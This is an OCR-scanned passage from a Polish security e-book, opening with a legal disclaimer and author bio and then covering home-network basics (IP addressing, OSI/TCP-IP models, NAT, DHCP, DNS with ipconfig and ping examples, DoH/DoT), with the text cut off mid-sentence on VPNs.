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Zastrzezenia prawne

Bezpieczenstwo IT ma coraz wigksze znaczenie. Nie mozna profesjonalnie
zabezpieczyc aplikacji czy systemu, nie znajgc technik ich atakowania.
Omawiamy je w tej ksigzce, poniewaz to bardzo skuteczny sposob pod-
noszenia wiedzy i sSwiadomosci uzytkownikdw, administratorow i twdrcow
aplikacji. Wszelkie podawane przez nas informacje powinny jednak byc¢
wykorzystywane wytacznie w granicach prawa, co z reguty oznacza za-
kaz wykorzystywania omawianej tu wiedzy bez zgody dysponenta syste-
mu czy sieci.

Wyjscie poza te granice moze skutkowac zaréwno odpowiedzialnoscig
cywilng [np. obowigzkiem naprawienia wyrzgdzonej szkody), jak i odpo-
wiedzialnoscig karng. Przyktadowo, zgodnie z polskim kodeksem karnym
nieuprawnione uzyskanie dostepu do systemu informatycznego lub jego
czesci podlega grzywnie, karze ograniczenia wolnhosci albo pozbawienia
wolnhosci do lat 2 (art. 267 §2 kodeksu karnego). Z kolei nieuprawnione za-
ktécenie w istotnym stopniu pracy systemu informatycznego, systemu
teleinformatycznego lub sieci teleinformatycznej przez transmisje, znisz-
czenie, usuniecie, uszkodzenie, utrudnienie dostepu lub zmiane danych
informatycznych podlega karze pozbawienia wolnosci od 3 miesiecy do
lat 5 (art. 269a kodeksu karnego).

Zwracamy na to uwage, poniewaz nie jest naszym zamiarem wspieranie
jakichkolwiek bezprawnych dziatan. Dlatego zastrzegamy, ze w najszer-
szym prawnie dopuszczalnym zakresie wytagczamy naszg odpowiedzial-
nosc za skutki takich dziatan.
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Seria e-bookdw ukazujgca sie naktadem Securitum Wydawnictwo ma na
celu przyblizanie wybranych zagadnien z szeroko rozumianego IT w jak
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ApAM SAMSON. Absolwent Wydziatu Elektrycznego Politechniki Bialostockiej, zwigzany z bran-
24 IT od 2012 roku.

DevOps i administrator sieciowy. W swojej karierze byl tez nauczycielem przedmiotéw po-
Swieconych sieciom komputerowym oraz wdrozeniowcem i project ownerem szpitalnego
systemu EDM w dwdch unijnych projektach na skale wojewodztwa.

Spora czes$¢ jego pracy opierala sie na kompleksowej obstudze informatycznej kilku $rednich
i duzych zaktadéw przemystowych oraz hoteli (od wsparcia uzytkownikéw koncowych po
zarzadzanie sieciami, serweramiirozwoj biznesu). Przeprowadzal tez audyty bezpieczenstwa
w ramach projektéw unijnych. Obecnie wspoéttworzy system typu fintech, rozwijany w chmu-
rze AWS o globalnym zasiegu.

Prywatnie maz cudownej zony i ojciec wspaniatej corki, ktérym dziekuje za wyrozumiato$¢

i wytrwato$¢ w czasie, kiedy powstawala ta ksiazka.
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Wielu uzytkownikdéw sieci domowej staje przed wyzwaniami zwigzanymi z kon-
figuracja domowego routera. Nie zawsze trzeba zlecac to komus$ innemu, wy-
starczy chwila na poznanie sposobu dzialania tego urzadzenia oraz kilka chwil
na zrozumienie zasad dotyczacych jego poprawnej konfiguracji. Zajme sie tutaj
omowieniem dobrych praktyk, umieszczajac je w szerszym kontekscie: od teorii
do praktyki, nie zapominajgc przy tym o sytuacjach nietypowych i podpowiada-
jac, jak poradzic sobie z najczestszymi problemami.

Zanim jednak zaczniemy dokladnie omawiac¢ poszczegélne funkcje urzadze-
nia brzegowego, warto zapoznac sie lub przypomniec¢ sobie kilka najwazniej-
szych pojec¢ zwigzanych z sieciami. Dzieki temu zrozumienie poszczegolnych
zagadnien dotyczacych konfiguracji routera stanie sie latwiejsze. Prezentowana
tu wiedza nie wymaga specjalnego przygotowania, cho¢ osoba spoza branzy IT
stanie przed pewnym wyzwaniem i bedzie potrzebowala troche wiecej czasu.

Przed rozpoczeciem czytania warto jednak wczesniej zapoznac sie ze sposo-
bem, wjaki konfiguruje sie sie¢ w uzywanym systemie operacyjnym. W przypad-
ku systemu Windows zazwyczaj beda to szeroko pojete poradniki lub strony
wsparcia Microsoft!, a w przypadku poszczegdlnych dystrybucji Linuxa — ma-
nuale (czyli np. polecenie man) i réznego rodzaju platformy Wiki im poswieco-
ne, np. strona Ubuntu?

Omowienie podstawowych poje¢ zwigzanych z siecig komputerowa

W podrozdziale tym przedstawione zostang podstawowe pojecia zwigzane
z sieciami komputerowymi oraz ich konfiguracja. Zapoznanie sie z nimi zdecy-
dowanie ulatwi zrozumienie tematyki i pozwoli na sprawne skonfigurowanie
bezpiecznej sieci domowej. Analiza ewentualnych bledéw konfiguracyjnych
rowniez stanie sie zdecydowanie prostsza.

Adres MAC (Medium Access Control) to indywidualny adres nadawany przez
tworcow sprzetu sieciowego takiego jak karty sieciowe lub wladnie routery.

Przykladowy adres tego typu to 11:22:33:AA:BB:CC. W tym 48-bitowym
ciagu znakow pierwsze 24 bity (sze$¢ znakéw w zapisie szesnastkowym) stuza


https://support.microsoft.com/pl-pl/windows/konfigurowanie-sieci-bezprzewodowej-w-programie-windows-97914e31-3aa4-406d-cef6-f1629e2c3721
https://support.microsoft.com/pl-pl/windows/konfigurowanie-sieci-bezprzewodowej-w-programie-windows-97914e31-3aa4-406d-cef6-f1629e2c3721
https://ubuntu.com/server/docs/network-configuration
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do identyfikacji producenta, natomiast kolejne 24 — kryja indywidualny model
urzadzenia. Teoretycznie adres MAC jest zapisany na stale, ale istniejg meto-
dy na jego zmiane lub podszywanie sie pod konkretny adres — chociaz proby
wykonania takiej zmiany obarczone sg pewnym ryzykiem wyswietlenia sie
nieslawnego niebieskiego ekranu w systemie Windows.

Protokoly IPv431IPv6* (Internet Protocol version 4 oraz 6) to kolejno: czwarta
iszdsta wersja protokotu IP przeznaczonego do komunikacji w sieci Internet.

Identyfikacja podlaczonych hostéw odbywa sie za pomoca wykorzysta-
nia adresow IP. Adres ten w wersji czwartej sklada sie z czterech oktetow, po
8 bitdw, i wyglada np. tak: 123.233.123.123. Chociaz jest to tylko jeden z moz-
liwych zapiséw — do sprawdzenia innych mozna wykorzysta¢ konwertery ty-
poéw danych’. Obarczony jest pewnymi ograniczeniami uzy¢ oraz przypisanymi
klasami do poszczeg6lnych typow sieci lub charakterystycznego zachowanias,
jak np. wysylanie pakietéw rozgloszeniowych, czy to limitowanych do jednej
podsieci, czy w calym Internecie. Z racji wyczerpujacej sie puli dostepnych pu-
blicznych adreséw IPv4 wprowadzono jego nowa wersje poszerzona o trudne
do wyczerpania na chwile obecng zasoby. Liczbe aktualnie dostepnych adre-
sow IP w wersji czwartej mozna sprawdzic®.

Szdsta wersja protokotu IP, IPv6, oferuje 128 bitéw na adres, dzieki czemu
mozemy podlaczy¢ do sieci duzo wiecej urzadzen. Adres wyglada wtedy np.
tak: 2001:331a:0000:0000:0000:0000:5511:aad3, ale i krdtszy zapis bedzie
poprawny: 2001:331a: :5511:aad3.

Gléwnym powodem powstania wersji széstej protokotu IP bylo to, Ze po-
wszechnie stosowany wcze$niej protokdt powstawal w latach 70. XX wieku
izalozenie pojemnosci ok. czterech miliardéw adreséw IP wydawalo sie wystar-
czajaca ilo$cig. Rosnaca popularnos¢ komputeréw przekroczyla jednak oczeki-
wania wszystkich twdrcéw rozwigzania i juz w latach 90. XX wieku rozpoczeto
prace nad protokolem internetowym IPng (Internet Protocol next generation),
ktéremu w 1996 roku nadano oficjalnie nazwe wersji széstej. Pigta byta juz wte-
dy zajeta przez inny eksperymentalny projekt — Internet Streaming Protocol’.
Ostatecznie, w celu ograniczenia zuzycia adresow, zaczeto uzywac bezklasowej
metody przydzielania adreséw IP — CIDR (Classless Inter-Domain Routing)®.

O ile miejsce na wiele przylaczen jest wazne z punktu widzenia dostawcy
Internetu, takiego jak np. Orange, do ktérego sieci masowo laczg sie miliony
urzadzen mobilnych?, to zazwyczaj nie interesuje to juz uzytkownika konco-
wego korzystajacego z Internetu w domu. W sieci domowej w zupelnosci wy-
starcza uzycie IP w wersji czwartej, ktora jest tez latwiejsza do zrozumienia
i konfiguracji, natomiast wersja szésta adresacji IP moze nie by¢ wspierana
przez cze$¢ starszych urzadzen.

* Przykladowy konwerter liczb dziesigtnych do adreséw IPv4.
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https://tools.ietf.org/html/rfc791
https://tools.ietf.org/html/rfc2460
https://www.browserling.com/tools/dec-to-ip 
https://www.browserling.com/tools/dec-to-ip 
https://datatracker.ietf.org/doc/html/rfc5735
https://ipv4.potaroo.net
https://rfc-editor.org/ien/ien119.txt
https://datatracker.ietf.org/doc/html/rfc1518
https://tools.ietf.org/html/rfc1918
https://tools.ietf.org/html/rfc1918
https://www.browserling.com/tools/dec-to-ip
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NAZWA
Klasa A
Klasa B
Klasa C
Klasa D
Klasa E

Sieci zbudowane na obu typach adresacji majg sporo podobienistw:

>

pozwalaja na komunikacje pomiedzy urzadzeniami z adresacja w wer-
sjach czwartej i szdstej,

korzystaja z bram: punktéw lacznos$ci pomiedzy siecia LAN (Local Area
Network) a — zazwyczaj — siecia Internet,

posiadaja serwery ustugi DNS (Domain Name System),

obie wersje wymagaja tez, zeby podlaczone urzadzenia mialy unikatowa
adresacje.

Problemem IPv6 jest kwestia bezpieczenistwa: w sieci opartej na tym modelu
kazdy unikatowy adres MAC (fizyczny) widoczny jest dla calej sieci Internet
itrzeba dodatkowego nakladu pracy, aby zachowa¢ podobny poziom anonimo-
wosci i bezpieczenistwa, bedacy standardem w adresacji IPv41°.

Warto rozwing¢ tez samo pojecie klas adreséw IP zdefiniowanych w jego czwar-
tej wersji. Dzieli ona dostepna adresacje IP na pule dostepne jako adresy publiczne
oraz prywatne —z r6zna liczbg dostepnych hostéw oraz sieci zawartych w zakresie:

>

Klasa A - stworzona do obstugi duzych sieci; poczatkowo blednie zalo-
zono, ze bedzie niewielkie zapotrzebowanie na tego typu sieci, dlatego
mozna w nich zdefiniowa¢ niewiele podsieci, ale bardzo duzo hostéw.
Adres 127.0.0.1 powinien mie$ci¢ sie w tej klasie, ale poniewaz zostat
powszechnie przyjety jako adres loopback (czyli petla zwrotna do danego
hosta), teoretycznie jest z niej wylgczony.

Klasa B - stworzona do obstugi duzych i $rednich sieci.

Klasa C - duza liczba niewielkich sieci.

Klasa D - zarezerwowana dla multiemisji (ang. multicast). To unikalny ad-
res kierujacy pakiety do grup adreséw IP. To bardziej wydajne niz tworzenie
oddzielnych strumieni dla poszczegdlnych odbiorcéw przesytanych danych.
Klasa E - zarezerwowana na potrzeby badawcze organizacji Internet
Engineering Task Force (IETF).

Adresacja zostala podzielona na zakresy przedstawione w tabeli 1'%

Tabela 1. Zestawienie klas sieci wraz z podziatem na dostepne zakresy adreséw IP

ZAKRES LICZBA SIECI LICZBA HOSTOW W SIECI
1.0.0.0 - 127.255.255.255 127 16 777 214
128.0.0.0 - 191.255.255.255 16 382 65534
192.0.0.0 - 223.255.255.255 2097150 254
224.0.0.0 - 239.255.255.255 niewydzielone niewydzielone
240.0.0.0 - 255.255.255.255 niewydzielone niewydzielone



Wstep

WARSTWY

W poszczegolnych klasach wydzielono tez adresy okreslone jako nierouto-
walne (ang. non-routable), ktére moga zosta¢ uzyte jako adresy IP w sieciach
lokalnych (tabela 2). Do polaczenia z siecig Internet wymagaja one uzycia tech-
niki translacji adreséw sieciowych — NAT (Network Address Translation).

Tabela 2. Adresy prywatne dostepne w poszczegdInych klasach

NAZWA ZAKRES

Klasa A 10.0.0.0 - 10.255.255.255
Klasa B 172.16.0.0 - 172.31.0.0
Klasa C 192.168.0.0 - 192.168.255.0

Uzytkownicy sieci domowych najcze$ciej spotykaja sie z adresacja w klasie C;

jest ona najbardziej rozpowszechniona. Pozostale zakresy maja duze zasto-
sowanie w biznesie z uwagi na mozliwo$¢ wykorzystania znacznie wiekszej
liczby sieci oraz hostéw.

Rozrézniamy nastepujace dwa modele sieci:
1. Model TCP/IP*? (Transmission Control Protocol/Internet Protocol) — to je-
den z teoretycznych modeli struktury warstwowej protokoléw komuni-

kacyjnych, zaproponowany przez DARPA®.
2. Model ISO/OSI - pelna nazwa modelu to ISO OSI RM (ISO Open Systems
Interconnection Reference Model)!4.

Z punktu widzenia uzytkownika modele te sa rdwnowazne. Dla programisty oraz
osoby zajmujacej sie diagnostyka sieci — juz nie zawsze. Oba modele zakladaja

podziat komunikacji sieciowej na niezalezne od siebie warstwy (rysunek 1%).

Aplikacji

Transportowa
Internetowa

Dostepu do sieci

MODEL 1S0/0SI
Aplikacji
Prezentacji
Sesji
Transportowa
Sieciowa Sieciowa
tacza danych tacza danych
Warstwa fizyczna

BRAMA

Warstwa fizyczna

ROUTER MOST

Warstwa fizyczna Warstwa fizyczna

REPEATER

Rysunek 1. Zestawienie modeli TCP/IP oraz ISO/0SI wraz z prezentacja zasiegu pakietu

w urzadzeniu

13


https://ietf.org/rfc/rfc1180.txt
https://www.darpa.mil/
https://standards.iso.org/ittf/PubliclyAvailableStandards/ s020269_ISO_IEC_7498-1_1994(E).zip
https://standards.iso.org/ittf/PubliclyAvailableStandards/ s020269_ISO_IEC_7498-1_1994(E).zip
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Model TCP/IP zawiera nastepujace warstwy:
» aplikacji,

» transportows,

» internetowa,

» dostepu do sieci.

Model OSI jest troche bardziej zlozony, sktada sie bowiem z warstw:

» aplikacji— warstwe te stanowi interfejs pomiedzy uzytkownikiem a siecia:

Swiadczenie ustug koncowych, jak udostepnianie plikéw czy drukarek;
prezentacji - odpowiedzialnej za kodowanie danych: dbanie o wzajemne
zrozumienie komunikujacych sie aplikacji, uzycie odpowiednich kodo-
wan jezykdow, ale i kompresja przesylanych danych;

sesji — zarzadzajgcej przebiegiem komunikacji: kontrola nawigzywania
izrywania polaczen sieciowych przez rézne aplikacje, a takze sprawdza-
nie, czy nadawca pakietu moze polaczy¢ sie z odbiorca, dba tez o pewnos¢
transmisji — pozwala na wznowienie jej w przypadku zerwania;
transportowej — sprawdzajacej konicowa integralnos$¢ réwniez poza sie-
cia lokalna: warstwa dba o odpowiednig kolejnos$¢ przesytania i odczytu
pakietéw, wymusza tez retransmisje przy braku odpowiedniego pakietu
lub przy zerwaniu komunikacji;

sieciowej — wybierajacej optymalna trase transmisji danych: warstwa ta
kieruje przeplywem pakietéw w sieci, wykorzystujac routing miedzy sie-
ciami, je$li nadawca i odbiorca znajduja sie w réznych sieciach;

Iacza danych - sprawdzajacej poprawnos$c przesytu danych: warstwa ta
tworzy ramki i weryfikuje ich zawarto$¢ podczas transmisji;

fizycznej — odpowiedzialnej za transmisje strumienia bitéw: szeregowo
przesyla strukture ramek z poprzedniej warstwy po jednym bicie.

Wszystkie warstwy dziataja dwukierunkowo, dlatego warstwa fizyczna zaréw-

no przyjmuje, jak i nadaje strumienie bitdéw do warstwy drugiej itd. Pozwala to

na prawidlowg komunikacje i przekazanie ustugi pomiedzy komputerami lub

serwerami w zalozony przez tworce sposob®.

Z oboma modelami nieodzownie wigza sie dwa pojecia: enkapsulacja (kap-

sutkowanie) i dekapsulacja porcji danych (rysunek 2'7). Proces kapsulkowania

polega na zamknieciu kompletnego ukladu danych z warstwy wyzszej w ob-

szarze danych struktury warstwy nizszej po stronie nadawcy, przed wystaniem

pakietu przez sie¢. W przypadku odbiorcy realizowane jest odwrotne dziala-

nie, zwane dekapsulacja. To proces wyodrebniania danych warstwy najwyz-
szej, przenoszacej uzytkowe informacje z warstw nizszych.


http://linux.cku.krosno.pl/sieci/osi.htm
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Wazng uwaga jest to, ze obowiazujacy w sieciach model to TCP/IP (stos TCP/IP,
rysunek 3'%), natomiast model ISO/OSI to logiczny model ulatwiajacy zrozumie-
nie calego tematu.

W tym miejscu nalezy jeszcze wspomnie¢ o podziale ruchu na protokoty
komunikacyjne TCP (Transmission Control Protocol)!® oraz UDP (User Data-
gram Protocol)?. W duzym skrécie mozna powiedzieé, ze pierwszy wymaga
pewnych potwierdzen komunikacji, pozwala na retransmisje i jest zasadniczo
wolniejszy. Nadaje sie do przesylania plikdw, gdy chcemy mie¢ pewno$¢, ze do-
tra niezmienione i bez strat w zawarto$ci. Drugi natomiast pozwala na szybka
komunikacje jednostronng. Nie czeka na potwierdzenie, nie zwraca uwagi, czy
druga strona odebrala pakiety i w jakiej kolejno$ci. Dzieki temu bardzo dobrze
nadaje sie np. do streamingu wideo, kiedy wazne jest to, by dane docieraly
W czasie rzeczywistym, ale ubytki w obrazie sa dopuszczalne.

Wykorzystanie tych dwoch protokoléw ma za zadanie poprawic bezpie-
czenstwo oraz niezawodno$c¢ przesytu danych z odpowiednim, zadowalajacym
czasem reakcji. Dodatkowo to, ze wszyscy uzywaja takich samych protokotéw
do komunikacji, spowodowane jest zaakceptowaniem uzycia przyjetych stan-
dardéw, wydawanych np. przez IEEE SA (Institute of Electrical and Electronics
Engineers Standards Association).
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Rysunek 3. Zestawienie warstw stosu TCP/IP

NAT (Network Address Translation) to translacja adres6w sieciowych lub,
zabawnie brzmiaca, maskarada. To technika odpowiedniego przesylania ru-
chu sieciowego poprzez router, majgaca na celu zmiane adreséw Zrédtowych
idocelowych oraz (zazwyczaj) numerdéw portow wykorzystywanych do trans-
misji. Cala operacja ma pozwoli¢ hostom (urzadzeniom) ukrytym za routerem
na dostep do Internetu za po$rednictwem jednego publicznego adresu IP przy-
znanego wlasnie urzadzeniu brzegowemu (bramie).

W sieciach komercyjnych mozemy spotkac sie z r6znymi typami NAT-owa-
nia, takimi jak: jeden do jednego, jeden do wielu, NAT statyczny lub dynamicz-
ny. Wiecej informacji na ten temat mozecie znalez¢ np. w tek$cie NAT od pod-
szewki* lub w ksigzce Wprowadzenie do bezpieczeristwa IT".

NAT-owanie ma pewne wady, do ktérych mozna zaliczy¢ wplyw na pred-
ko$¢ przesyhu danych lub problemy mogace pojawic sie przy konfiguracji cen-
trali telefonicznych w sieci, ale sg to w wiekszosci problemy przedsiebiorstw,
a nie uzytkownika domowego??. Translacja adreséw wykorzystywana jest
glownie dla adresacji IP w wersji czwartej, bo z zalozenia IP w wersji szdstej
obstuguje tak wiele urzadzen, ze kazde moze uzyska¢ wlasny adres publiczny.
Mimo wszystko NAT w tej wersji IP réwniez mozna wykorzystac¢.

* Zob. np. Wojciechowski P., Bezpieczne architektury sieci [w:] Wprowadzenie do bezpieczeristwa IT, t. 2 [w przygotowaniu].


https://nastykusieci.pl/nat-teoria/
https://nastykusieci.pl/nat-teoria/
https://study-ccna.com/dynamic-nat/
https://arstechnica.com/uncategorized/2008/07/after-staunch-resistance-nat-may-come-to-ipv6-after-all/
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Wspomniany wcze$niej termin ,maskarada” to proces ukrywania (,zama-
skowania”) adres6w IP komputeré6w w sieci za posrednictwem routera podla-
czonego do Internetu. Ten mechanizm umozliwia dostep do Internetu dla kom-
puteréw, ktére nie posiadajg publicznych adreséw IP. Ponadto moze on stuzy¢
do zabezpieczania komputeréw nawet wtedy, gdy posiadaja one publiczne
adresy IP. W praktyce maskarada stanowi jedng z form firewalla, chroniaca
przed nieautoryzowanym dostepem do sieci®.

Sieci dzielg sie na pewne obszary ideowe. Najwieksza taka jednostka jest
rozlegla sie¢ komputerowa WAN (Wide Area Network), obejmujaca swoim
zasiegiem szerokie obszary geograficzne, jak kraj czy wojewddztwo. Laczy
ona wiele rozproszonych sieci typu LAN. Sieci WAN korzystaja z ustug pro-
fesjonalnych operatoréw telekomunikacyjnych, takich jak Orange czy Netia.
Wiekszo$¢ sieci WAN to sieci korporacyjne, miejskie lub mieszczace sie w ob-
rebie placéwek szkolnictwa wyzszego. O ile kazdy router w domu wymaga
adresacji sieci WAN dostarczonej od dostawcy Internetu, to w obrebie naszych
mieszkan cze$ciej korzystamy z mniejszej sieci LAN, a nawet PAN (Personal
Area Network — rysunek 4°). Za jej posrednictwem zazwyczaj komunikuje sie
ze soba od kilku do kilkunastu urzadzen w obrebie jednego budynku o dos$¢
ograniczonym zakresie zastosowan. W jej skltad wchodza zwykle takie ele-
menty, jak: router, komputery, telefony i (coraz cze$ciej) troche sprzetu domo-
wego, jak: telewizory, drukarki i urzadzenia internetu rzeczy. Sie¢ PAN, czyli
typowa sie¢ domowa, dziala w zasiegu ok. 10 metréw i mozna do niej zaliczy¢
np. standard Bluetooth, Zigbee, IrDa z urzadzeniami takimi jak: bezprzewodo-
we stuchawki, myszy, klawiatury, piloty, elementy rozwigzan typu smart home.

Kazda sie¢ moze zosta¢ stworzona zgodnie z jedng z wybranych topologii
lub ich polaczenia, jak: pierscien, magistrala, siatka czy gwiazda (rysunek 5).
Te ostatnig niemal zawsze znajdziemy w domu.

Internet

()]

— Z—

P
L 6

Rysunek 4. Przyktad topologii gwiazdy w sieci PAN

* Zrédlo: opracowanie wlasne (dotyczy réwniez nastepnych rysunkéw tego typu).
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ROZSZERZONA HIERARCHIA SIATKA

GWIAZDA

Rysunek 5. Zestawienie topologii sieciowych

Poza opisanymi tu typami sieci w biznesie spotka¢ mozna jeszcze inne roz-
wigzania: SAN (Storage Area Network), ktdre sg sieciami taczacymi magazy-
ny danych (macierze dyskowe) z serwerami, oraz MAN (Metropolitan Area
Network)", czyli miejskie sieci komputerowe. Historycznie warto w tym miej-
scu wspomnie¢ réwniez o przodku obecnego Internetu, jakim byta pierwsza
rozlegla sie¢ ARPANET (Living Internet, ARPANET - The First Internet) zbudo-
wana na potrzeby armii Stanéw Zjednoczonych.

Kazda z obecnie istniejacych sieci, zeby poprawnie i wygodnie funkcjono-
wad, korzysta z przynajmniej dwoch najbardziej znanych ushug sieciowych.
Pierwsza z nich jest DHCP (Dynamic Host Configuration Protocol), natomiast
druga to DNS (Domain Name System).

Protoko6l DHCP zostal stworzony w celu przydzielania z dostepnej puli au-
tomatycznej adresacji IP urzadzeniom w sieci LAN, jednocze$nie przekazujac
informacje o adresie bramy, ktéry jest niezbedny do ustawienia urzadzenia
w celu uzyskania przez nie dostepu do Internetu, lub pod ktérym znajduje

* Przyklad sieci miejskiej w Bialymstoku: Politechnika Biatostocka, Miejska Sie¢ Komputerowa BIAMAN.


https://pb.edu.pl/biaman/ 
https://pb.edu.pl/biaman/ 
https://pb.edu.pl/biaman/
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sie serwer ustugi DNS. Ta druga ustuga odpowiada za rozpoznawanie nazw
domen, wykonujac translacje nazwy mnemonicznej, np. sekurak.pl, na adres
IP, np. 51.77.40.125 (rysunek 6).

W zwigzku z tym moga wystepowac dwie rézne konfiguracje z wykorzysta-

niem DHCP:

1. konfiguracja adresu na porcie WAN bramy, co odnosi sie do sytuacji, gdy
dostawca ustug internetowych (ISP) przekazuje adres bramy dla urza-
dzenia, ktdre jest bezposrednio podiaczone do Internetu;

2. uzupehienie konfiguracji hosta o adres bramy (domys$lnej) w sieci we-
wnetrznej, gdzie urzadzenia w sieci lokalnej uzyskuja automatycznie
przydzielane adresy IP oraz informacje o adresie bramy, pozwalajacej
na dostep do Internetu.

T

——

LAN IP- 10.10.10.1
LAN MAC: 0A0B:0C:11:11:22

DNS SERWER: 8888

IP ZRODEA: 10.10.10.11
IPPRZEZNACZENIA: 10.10.10.1

PORT ZRODLA: 21222/UDP
PORT PRZEZNACZENIA 53/UDP

ROUTER W DOMU ZAPYTANIE DNS HOST
WAN IP: 11.11.11.11 MAC ZRODEA: 10:1A1B:11:12:13 LANIP: 10.10.10.11
WAN MAC: 00:AABBE:11:22:33 MAC PRZEZNACZENIA: 0AZ0B:0C:11:11:22 LAN MAC: 10:1A1B:11:1213

MASKA PODSIECI: 255 255.255.0
BRAMA: 10.10.10.1

SERWER DNS: 10.10.10.1

ZAPYTANIE DNS- ADRES IP WWW SEKURAK PL

Rysunek. 6. Przyktadowe zapytanie DNS

W sieciach domowych router jest tez zazwyczaj serwerem DHCP, czasem row-
niez serwerem DNS, chociaz cze$ciej tylko posredniczy w przekazywaniu za-
pytan do serwerdéw (rysunek 6) z odpowiednio duzg pulg wpiséw adresowych.
Do najbardziej znanych adres6w serweréw DNS naleza: 8.8.8.8 (Google),
1.1.1.1 (Cloudflare) lub bardziej znane starszemu pokoleniu internautéw
serwery nalezgce dawniej do sp6iki TP S.A., a obecnie do grupy Orange Polska:
194.204.152.34 oraz 194.204.159.1.

Pule wpiséw DNS buduje sobie tez indywidualnie kazdy komputer z systemem
Windows czy MacOS, tworzac pamiec podreczna (ang. cache), ktérej zawartosc¢
mozna podejrze¢ komenda ipconfig /displaydns (listing 1) w konsoli Win-
dows. W przypadku pracy na systemach typu Linux nie jest to juz tak oczywiste.
Starsze wersje tych systemow miaty nienaprawiony przez wiele lat blad". Dystry-
bucja Ubuntu doczekata sie odpowiedniej poprawki dopiero przy wersji 19.04%.

* Chodzi o blad zwiazany z brakiem cache w systemach Linux, zob. Bostrom A., Debian Bug report logs — #335476 [nscd]
does not respect DNS TTL, bugs.debian.org, October 24, 2005.


https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=335476
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=335476
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=335476
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=335476
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Listing 1. Wykorzystanie komendy ipconfig /displaydns w linii poleceri systemu Windows do
sprawdzenia pamieci podrecznej DNS w systemie Windows

C:\Users\admin>ipconfig /displaydns

Windows IP Configuration

www.gstatic.com

Record Name.......c.evvvuvuvnrene...: Www.gstatic.com
Record Type....cvvviviiinnnenenenat 1

Time To Live....ovvvviiiinvnea..: 86

Data Length............covvviiiiat 4
Section..........ceiiiiiiiiiiee .t Answer

A (Host) Record............ovvvu...t 172.217.16.3

Ewentualne problemy z rozwigzywaniem nazw nalezy diagnozowac, czyszczac
wspomniang pamie¢ podreczna komenda ipconfig /flushdns (listing 2).

Listing 2. Przyktadowa odpowiedZ na komende ipconfig /flushdns w systemie Windows

C:\Users\admin>ipconfig /flushdns
Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

Adres IP domen zazwyczaj mozna sprawdzi¢ za pomoca podstawowego narze-
dzia dostepnego z poziomu konsoli Windows: ping domena.com (listing 3)%.

Listing 3. Wykorzystanie komendy ping sekurak.plw linii polecef systemu Windows do
sprawdzenia adresu IP domeny sekurak.pl

C:\Users\admin>ping sekurak.pl

Pinging sekurak.pl [51.77.40.125] with 32 bytes of data:
Reply from 51.77.40.125: bytes=32 time=6ms TTL=51

Reply from 51.77.40.125: bytes=32 time=6ms TTL=51

Reply from 51.77.40.125: bytes=32 time=7ms TTL=51

Reply from 51.77.40.125: bytes=32 time=7ms TTL=51

Ping statistics for 51.77.40.125:
Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 6ms, Maximum = 7ms, Average = 6ms


https://cloudflare.com/learning/
ddos/glossary/internet-control-message-protocol-icmp/
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W przypadku sieci komercyjnych rozwigzania majgce na celu translacje
wpisywanych adreséw DNS na adresy IP sa bardzo rézne, poczawszy od wy-
korzystania serwerdw opartych na Linuxie lub oprogramowaniu Windows
Server po DNS-y hierarchicznie zintegrowane z rozwigzaniami chmurowymi
(np. ustluga Route53 w Amazon AWS).

Dotychczas w projektowaniu sieci kwestie bezpieczenstwa nie zawsze staly
na pierwszym miejscu. Co$, co jest bardzo wazne z perspektywy uzytkowni-
ka koncowego, niekoniecznie bylo odpowiednio realizowane przez dostaw-
cow rozwigzan sieciowych. Na szczescie istniejacy stan sie poprawia i twércy
oprogramowania wykorzystuja szyfrowanie zapytan DNS znacznie czeSciej,
a zwlaszcza w przypadku procesu logowania do réznych serwiséw. Szyfrowa-
nie zapytan wnosi wazny element bezpieczenstwa, zabezpieczajac tradycyjnie
niezaszyfrowane informacje o domenach odwiedzanych przez uzytkownika.
Protokoly takie jak DNS over HTTPS (DoH) lub DNS over TLS (DoT) pomagaja
w zabezpieczeniu tych danych.

W kontekscie procesu logowania kluczowym momentem jest wprowadze-
nie danych uwierzytelniajacych. Szyfrowanie zapytan na tym etapie chroni
informacje o domenach, z ktérymi komunikuje sie serwer logowania, zwiek-
szajac integralno$¢ i bezpieczenstwo sieci. To istotne zwlaszcza dla ochrony
prywatnosci uzytkownikéw i zapobiegania potencjalnym atakom, takim jak
Man-in-the-Middle czy DNS spoofing.

0 ile wiekszo$¢ komunikacji pomiedzy routerem a serwerem docelowym
jest trudna do podejrzenia przez dostawce Internetu (jesli jest zaszyfrowana),
to do tej pory zazwyczaj nie bylo tak w przypadku samego nawiazywania po-
laczenia. Zapytania do serwera DNS, czyli zapytania o konkretna strone inter-
netowg, wykonywane byly nieszyfrowanym kanatem na porcie 53, czyli jesli
osoba trzecia nie widziala samej komunikacji, to nadal mogta $ledzi¢, ktdre
strony odwiedzamy. Je$li chcemy tego uniknaé, warto zaczaé wykorzystywac
we wlasnej sieci jeden z dwéch typéw polaczenia oferujacych szyfrowanie
réowniez samych zapytan do serwerdéw DNS.

Zasadnicza ré6znica miedzy nimi jest to, zZe jeden — DoH - ukrywa ruch
w szyfrowanym ruchu HTTPS domyslnie na porcie 443, przez co jest trudniej-
szy do wykrycia, a drugi — DoT — wykorzystuje do osiggniecia tego celu dodat-
kowy port 853. To teoretycznie jest lepszym rozwigzaniem, jesli chodzi o imple-
mentacje samego protokolu — uzywamy tu, analogicznie jak w standardowych
zapytaniach DNS, indywidualnego portu, wiec mozemy dla niego zastosowacé
inne reguly sieciowe (np. ograniczenie na firewallu zapytan ze wskazanej pod-
sieci). W sieciach komercyjnych standard DoT moze by¢ uwazany za bardziej
potrzebny, bo pozwala administratorowi sieciowemu na wglad i blokowanie
pewnych zapytan DNS na poziomie routera, a nawet na blokade portu do ko-
munikacji. Z kolei w sieciach domowych nie ma to raczej wiekszego znaczenia,
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wiec jesli wybierzemy DoH w celu zakamuflowania ruchu przed dostawca In-
ternetu i dodatkowo zaszyjemy go w ruchu HTTPS, to tez nie bedzie to ztym
rozwiazaniem. Skorzystajmy z tej propozycji, ktéra oferuje dany router.

VPN (Virtual Private Network), czyli wirtualna sie¢ prywatna, to specjalny,
szyfrowany tunel pozwalajacy na przesylanie ruchu z sieci prywatnej poprzez
sie¢ publiczna pomiedzy nadawca i odbiorca. Urzadzenia polaczone w ten sposéb
